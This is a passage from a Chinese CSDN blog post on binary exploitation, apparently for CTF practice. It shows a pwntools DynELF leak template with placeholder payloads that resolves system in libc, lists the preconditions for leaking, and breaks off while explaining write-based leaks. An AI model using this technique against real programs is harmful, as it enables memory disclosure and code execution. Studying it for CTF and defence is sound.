泄漏地址总结(Dynelf & LibcSearcher)

本文介绍了 Dynelf 泄漏模块在32位和64位程序中的使用,重点讨论了利用write函数泄露system地址的过程,并通过LibcSearcher获取libc版本。32位条件下,需要目标程序有信息泄露漏洞且能反复触发。64位部分,提供了一个实用模板。通过示例和链接到的论坛讨论,读者可以更深入理解地址泄漏技术。
摘要由CSDN通过智能技术生成

Dynelf泄漏modeul

32位

p = process('./xxx')

def leak(address): #address指要泄露的地址
  #各种预处理
  payload = "xxxxxxxx" + address + "xxxxxxxx"
  p.send(payload)
  #各种处理
  data = p.recv(4)
  log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  #print "%#x => %s" % (address, (data or '').encode('hex'))
  return data
  
d = DynELF(leak, elf=ELF("./xxx"))     
 #初始化DynELF模块 
systemAddress = d.lookup('system', 'libc')  
#在libc文件中搜索system函数的地址

主要使用条件:

1)目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;

2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

这里利用write函数泄露system地址

①从内存中dump出4字节数据(system地址),函数执行结束后返回main函数重新执行
②补充知识点,write函数原

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值